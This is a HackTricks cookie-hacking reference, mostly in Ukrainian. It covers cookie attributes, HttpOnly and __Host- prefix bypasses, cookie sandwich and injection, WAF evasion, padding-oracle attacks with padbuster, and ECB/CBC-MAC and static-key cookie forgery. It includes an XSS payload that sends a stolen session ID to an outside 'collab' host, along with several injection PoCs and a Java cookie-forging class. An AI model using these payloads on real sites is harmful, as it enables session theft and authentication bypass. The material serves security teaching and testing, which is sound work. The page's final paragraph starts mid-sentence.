Cookies Hacking

Reading time: 19 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Cookies мають кілька атрибутів, які контролюють їхню поведінку в браузері користувача. Нижче наведено огляд цих атрибутів у більш пасивному стилі:

Expires and Max-Age

Дата завершення дії cookie визначається атрибутом Expires. Натомість атрибут Max-age визначає час у секундах до видалення cookie. Віддавайте перевагу Max-age, оскільки це відображає більш сучасні практики.

Domain

Хости, які отримуватимуть cookie, вказуються атрибутом Domain. За замовчуванням це встановлюється на хост, що видав cookie, без включення його субдоменів. Проте коли атрибут Domain вказано явно, він охоплює також субдомени. Це робить вказування Domain менш обмежувальним варіантом, корисним у сценаріях, де потрібно ділитися cookie між субдоменами. Наприклад, встановлення Domain=mozilla.org робить cookie доступними на її субдоменах, таких як developer.mozilla.org.

Path

Атрибут Path вказує конкретний URL-путь, який має бути присутнім у запитуваному URL для відправлення заголовка Cookie. Цей атрибут розглядає символ / як роздільник директорій, дозволяючи відповідність і в підкаталогах.

Ordering Rules

Коли два cookie мають однакову назву, для відправлення обирається той, який відповідає одному з правил:

  • Cookie, що відповідає найдовшому path у запитуваному URL.
  • Найсвіжіше встановлений cookie, якщо paths ідентичні.

SameSite

  • Атрибут SameSite визначає, чи надсилаються cookie у запитах, що походять з third-party доменів. Він має три налаштування:
  • Strict: Заважає відправленню cookie у third-party запитах.
  • Lax: Дозволяє відправляти cookie з GET-запитами, ініційованими third-party сайтами.
  • None: Дозволяє надсилати cookie з будь-якого third-party домену.

Пам’ятайте, що розуміння цих атрибутів під час налаштування cookie допоможе забезпечити їхню очікувану поведінку в різних сценаріях.

Request TypeExample CodeCookies Sent When
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Зверніть увагу, що тимчасово, після застосування цієї зміни, cookie без SameSite політики в Chrome будуть розглядатися як None протягом перших 2 хвилин, а потім як Lax для top-level cross-site POST-запитів.

Cookies Flags

HttpOnly

Це забороняє client доступ до cookie (наприклад через Javascript: document.cookie)

Bypasses

  • Якщо сторінка відправляє cookie у відповіді на запит (наприклад на сторінці PHPinfo), можливо зловживати XSS, щоб надіслати запит на цю сторінку і викрасти cookie з відповіді (приклад див. у https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • Це можна обійти за допомогою TRACE HTTP запитів, оскільки відповідь сервера (якщо цей HTTP-метод доступний) відобразить надіслані cookie. Ця техніка називається Cross-Site Tracking.
  • Сучасні браузери уникають цієї техніки, забороняючи відправку TRACE запиту з JS. Однак були знайдені обхідні шляхи у специфічному ПЗ, наприклад відправка \r\nTRACE замість TRACE в IE6.0 SP2.
  • Інший спосіб — експлуатація zero/day вразливостей у браузерах.
  • Можна перезаписати HttpOnly cookie шляхом виконання атаки Cookie Jar overflow:

Cookie Jar Overflow

  • Можна використати Cookie Smuggling атаку для експ exfiltrate цих cookie
  • Якщо будь-який server-side endpoint відображає сирий session ID у HTTP-відповіді (наприклад всередині HTML-коментарів або debug-блоку), можна обійти HttpOnly, використавши XSS gadget для запиту цього endpoint, витягти секрет за допомогою regex і вивести його назовні. Приклад шаблону XSS payload:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Браузер буде відправляти cookie в HTTP-запит лише якщо запит передається через захищений канал (зазвичай HTTPS).

Cookies Prefixes

Cookies, префіксовані __Secure-, повинні встановлюватися разом із прапорцем secure зі сторінок, захищених HTTPS.

Для cookies з префіксом __Host- має бути виконано кілька умов:

  • Вони повинні бути встановлені з прапорцем secure.
  • Вони повинні походити зі сторінки, захищеної HTTPS.
  • Їм заборонено вказувати поле domain, що запобігає їх передачі на піддомени.
  • Шлях для цих cookies має бути встановлений у /.

Важливо зазначити, що cookies з префіксом __Host- не можна надсилати на супердомени або піддомени. Це обмеження допомагає ізолювати cookies додатка. Отже, використання префіксу __Host- для всіх cookies додатка можна вважати гарною практикою для підвищення безпеки та ізоляції.

Overwriting cookies

Отже, одним із захистів cookies з префіксом __Host- є запобігання їх перезапису з піддоменів. Наприклад, це запобігає Cookie Tossing attacks. У доповіді Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) показано, що було можливо встановлювати __HOST- префіксовані cookies з піддомену, обманюючи парсер, наприклад додаючи "=" на початку або на початку й в кінці...:

Або в PHP було можливо додати інші символи на початку імені cookie, які потім замінювалися підкресленнями, що дозволяло перезаписувати __HOST- cookies:

Зловживання невідповідностями в парсингу між browser і server шляхом додавання на початок імені cookie Unicode whitespace code point. Браузер не вважатиме, що ім'я буквально починається з __Host-/__Secure-, тож дозволить встановлення з піддомену. Якщо бекенд обрізає/нормалізує провідні Unicode-пробіли в ключах cookie, він побачить захищене ім'я і може перезаписати cookie з високими привілеями.

  • PoC з піддомену, який може встановлювати cookies батьківського домену:
js
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
  • Типова поведінка бекенда, що дозволяє проблему:

  • Фреймворки, які обрізають/нормалізують cookie keys. У Django, Python’s str.strip() видаляє широкий діапазон Unicode whitespace code points, внаслідок чого ім'я нормалізується до __Host-name.

  • Часто обрізувані кодові точки включають: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

  • Багато фреймворків обробляють дублікати cookie імен за принципом “last wins”, тож нормалізоване значення cookie, контрольоване атакуючим, перезаписує легітимне.

  • Різниця між браузерами має значення:

  • Safari блокує multibyte Unicode whitespace у cookie names (наприклад, відкидає U+2000), але досі дозволяє single-byte U+0085 та U+00A0, які багато бекендів обрізають. Перевіряйте крос-браузерно.

  • Вплив: дозволяє перезаписувати __Host-/__Secure- cookies з менш довірених контекстів (субдомени), що може призвести до XSS (якщо відображається), переоприділення CSRF токена та session fixation.

  • On-the-wire vs server view example (U+2000 present in name):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Багато бекендів розбивають/розбирають, а потім обрізають, внаслідок чого нормалізований __Host-name набуває значення нападника.

Деякі Java стеки (наприклад, Tomcat/Jetty-style) все ще дозволяють устарілий розбір RFC 2109/2965, коли заголовок Cookie починається з $Version=1. Це може призвести до того, що сервер повторно інтерпретує один рядок cookie як кілька логічних cookie і прийме підроблений запис __Host-, який спочатку був встановлений з піддомену або навіть через незахищене походження.

  • PoC, що змушує використовувати устарілий розбір:
js
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
  • Чому це працює:

  • Перевірки префіксу на боці клієнта застосовуються під час встановлення, але застарілий парсинг на боці сервера пізніше розбиває й нормалізує заголовок, обходячи гарантії префіксів __Host-/__Secure-.

  • Де пробувати: Tomcat, Jetty, Undertow, або фреймворки, які все ще підтримують атрибути RFC 2109/2965. Комбінуйте з семантикою перезапису дубльованих імен.

Duplicate-name last-wins overwrite primitive

Коли дві cookie нормалізуються до одного імені, багато бекендів (включаючи Django) використовують останнє входження. Після того, як smuggling/legacy-splitting призводить до створення двох імен __Host-*, зазвичай перемагає те, яке контролюється атакуючим.

Detection and tooling

Використовуйте Burp Suite для перевірки цих умов:

  • Спробуйте кілька провідних пробільних кодових точок Unicode: U+2000, U+0085, U+00A0 і перевірте, чи обрізає бекенд пробіли й трактує ім'я як таке, що має префікс.
  • Відправте $Version=1 першим в заголовку Cookie і перевірте, чи виконує бекенд застаріле розбиття/нормалізацію.
  • Спостерігайте вирішення конфлікту дубльованих імен (перемога першого або останнього) шляхом інжекції двох cookie, які нормалізуються до одного імені.
  • Burp Custom Action для автоматизації цього: CookiePrefixBypass.bambda

Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.

Cookies Attacks

Якщо кастомна cookie містить чутливі дані, перевірте її (особливо якщо ви граєте в CTF), оскільки вона може бути вразливою.

Decoding and Manipulating Cookies

Чутливі дані, вбудовані в cookie, завжди слід ретельно перевіряти. Cookie, закодовані в Base64 або подібних форматах, часто можна декодувати. Ця вразливість дозволяє нападникам змінювати вміст cookie та видавати себе за інших користувачів, повторно закодовуючи змінені дані у cookie.

Session Hijacking

Ця атака передбачає викрадення cookie користувача для отримання неавторизованого доступу до його акаунта в додатку. Використовуючи вкрадену cookie, атакуючий може видавати себе за легітимного користувача.

Session Fixation

У цьому сценарії атакуючий обманом змушує жертву використовувати певну cookie при вході. Якщо додаток не видає нову cookie після входу, атакуючий, маючи оригінальну cookie, може видавати себе за жертву. Ця техніка покладається на те, що жертва увійде в систему з cookie, наданою атакуючим.

Якщо ви знайшли XSS in a subdomain або ви control a subdomain, прочитайте:

Cookie Tossing

Session Donation

Тут атакуючий переконує жертву використовувати сесійну cookie атакуючого. Жертва, думаючи, що увійшла у власний акаунт, ненавмисно виконуватиме дії в контексті акаунта атакуючого.

Якщо ви знайшли XSS in a subdomain або ви control a subdomain, прочитайте:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT), які використовуються в cookie, також можуть мати вразливості. Для детальної інформації про потенційні проблеми та способи їх експлуатації перегляньте пов'язаний документ.

Cross-Site Request Forgery (CSRF)

Ця атака примушує залогіненого користувача виконувати небажані дії в вебзастосунку, в якому він наразі автентифікований. Атакуючі можуть експлуатувати cookie, які автоматично відправляються з кожним запитом до вразливого сайту.

Empty Cookies

(Перегляньте детальніше в original research) Браузери дозволяють створювати cookie без імені, що можна продемонструвати через JavaScript так:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

У відправленому заголовку cookie результат такий: a=v1; test value; b=v2;. Цікаво, що це дозволяє маніпулювати cookies, якщо встановлено cookie з порожнім іменем, і потенційно контролювати інші cookies, встановивши порожній cookie на певне значення:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Це призводить до того, що браузер надсилає заголовок cookie, який кожен веб‑сервер інтерпретує як cookie з ім’ям a та значенням b.

Помилка Chrome: Unicode Surrogate Codepoint Issue

У Chrome, якщо Unicode сурогатна кодова точка є частиною set cookie, document.cookie пошкоджується й надалі повертає пустий рядок:

js
document.cookie = "\ud800=meep"

Це призводить до того, що document.cookie повертає порожній рядок, що вказує на постійне пошкодження.

(Детальніше див. у original research) Кілька веб-серверів, зокрема Java (Jetty, TomCat, Undertow) і Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють cookie-рядки через застарілу підтримку RFC2965. Вони читають значення cookie в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Див. детальніше в original research) Неправильний парсинг cookies серверами, зокрема Undertow, Zope і тими, що використовують Python's http.cookie.SimpleCookie та http.cookie.BaseCookie, створює можливості для cookie injection attacks. Ці сервери не завжди коректно відмежовують початок нових cookies, що дозволяє зловмисникам підробляти cookies:

  • Undertow очікує новий cookie одразу після значення в лапках без крапки з комою.
  • Zope шукає кому, щоб почати парсинг наступного cookie.
  • Python's cookie classes починають парсити з символу пробілу.

Ця вразливість особливо небезпечна для веб‑додатків, що покладаються на cookie-based CSRF захист, оскільки дозволяє зловмисникам інжектувати підроблені CSRF-token cookies і потенційно обходити заходи безпеки. Проблема загострюється через те, як Python обробляє дублікати імен cookie — останній запис перекриває попередні. Це також викликає занепокоєння щодо __Secure- і __Host- cookies у небезпечних контекстах і може призвести до обходу авторизації, коли cookies передаються на back-end сервери, вразливі до spoofing.

Cookies $version

WAF Bypass

According to this blogpost, можливо використати атрибут cookie $Version=1, щоб змусити backend застосувати стару логіку парсингу cookie через RFC2109. Крім того, інші значення, такі як $Domain та $Path, можуть бути використані для зміни поведінки backend щодо cookie.

According to this blogpost можливо використати cookie sandwich technique для крадіжки HttpOnly cookies. Ось вимоги та кроки:

  • Знайти місце, де очевидно марний cookie відображається в відповіді
  • Create a cookie called $Version зі значенням 1 (you can do this in a XSS attack from JS) з більш специфічним шляхом, щоб він зайняв початкову позицію (деяким фреймворкам, наприклад python, цей крок не потрібен)
  • Create the cookie that is reflected зі значенням, що залишає відкриту подвійні лапки, і з конкретним шляхом, щоб воно опинилося в cookie db після попереднього ($Version)
  • Тоді легітимний cookie стане наступним у порядку
  • Create a dummy cookie that closes the double quotse всередині свого значення

Таким чином victim cookie потрапляє всередину нового cookie версії 1 і буде відображатися щоразу, коли воно відображається. наприклад, з посту:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Див. попередній розділ.

Bypassing value analysis with quoted-string encoding

Такий парсинг розпаковує екрановані значення всередині cookies, тому "\a" стає "a". Це може допомогти обійти WAFS, наприклад:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

У RFC2109 зазначено, що кома може використовуватися як роздільник між значеннями cookie. А також можна додавати пробіли й табуляції до і після знака рівності. Тому cookie на кшталт $Version=1; foo=bar, abc = qux не створює cookie "foo":"bar, admin = qux", а створює cookies foo":"bar" та "admin":"qux". Зверніть увагу, як утворюються 2 cookies і що у "admin" було видалено пробіли до і після знака рівності.

Нарешті, різні backdoors можуть об'єднувати в один рядок різні cookies, надіслані в різних cookie headers, наприклад:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Що могло дозволити обійти WAF, як у цьому прикладі:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Додаткові перевірки вразливих Cookies

Основні перевірки

  • cookie залишається однаковим щоразу під час login.
  • Виконайте Log out і спробуйте використати той самий cookie.
  • Спробуйте log in з 2 пристроїв (або браузерів) до того ж account, використовуючи той самий cookie.
  • Перевірте, чи cookie містить якусь інформацію, і спробуйте її змінити.
  • Спробуйте створити кілька accounts з майже однаковим username і перевірте, чи бачите схожості.
  • Перевірте опцію "remember me", якщо вона існує, щоб зрозуміти, як вона працює. Якщо вона є й може бути вразливою, завжди використовуйте cookie remember me без інших cookie.
  • Перевірте, чи попередній cookie працює навіть після зміни пароля.

Розширені атаки на cookies

Якщо cookie залишається тим самим (або майже тим самим) під час log in, це, ймовірно, означає, що cookie пов'язаний з якимось полем вашого account (ймовірно, username). Тоді ви можете:

  • Спробуйте створити багато accounts з username, що дуже схожі, і спробуйте вгадати, як працює алгоритм.
  • Спробуйте bruteforce the username. Якщо cookie зберігається лише як метод аутентифікації для вашого username, то ви можете створити account з username "Bmin" і bruteforce кожний bit вашого cookie, оскільки один із cookie, який ви спробуєте, належатиме "admin".
  • Спробуйте Padding Oracle (ви можете розшифрувати вміст cookie). Використовуйте padbuster.

Padding Oracle - Padbuster приклади

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster зробить кілька спроб і запитає вас, яка умова є умовою помилки (та, що не є валідною).

Потім він почне decrypting the cookie (це може зайняти кілька хвилин)

Якщо attack було успішно виконано, ви можете спробувати encrypt рядок на свій вибір. Наприклад, якщо ви хочете encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

This execution will give you the cookie correctly encrypted and encoded with the string user=administrator inside.

CBC-MAC

Можливо cookie має якесь значення і підписується за допомогою CBC. Тоді цілісність значення — це підпис, створений шляхом використання CBC над тим самим значенням. Оскільки рекомендується використовувати як IV нульовий вектор, цей тип перевірки цілісності може бути вразливим.

Атака

  1. Отримати підпис для username administ = t
  2. Отримати підпис для username rator\x00\x00\x00 XOR t = t'
  3. Встановити в cookie значення administrator+t' (t' буде валідним підписом для (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Якщо cookie зашифровано з використанням ECB, воно може бути вразливим.
Коли ви входите, отриманий cookie має бути завжди однаковим.

How to detect and attack:

  • Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
  • Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).

Має бути шаблон (розміром блоку). Тому, знаючи, як шифрується набір "a", ви можете створити username: "a"*(size of the block)+"admin". Потім можна видалити з cookie зашифрований шаблон блоку з "a". І ви отримаєте cookie для username "admin".

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

  • Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
  • Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
  • Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
  • Set the forged value directly as the cookie and browse; no credentials are needed.
Minimal Java PoC (IDEA + hex) used in the wild
java
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}
контекст (наприклад, server-side session with random ID, або add anti-replay properties).

Джерела

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks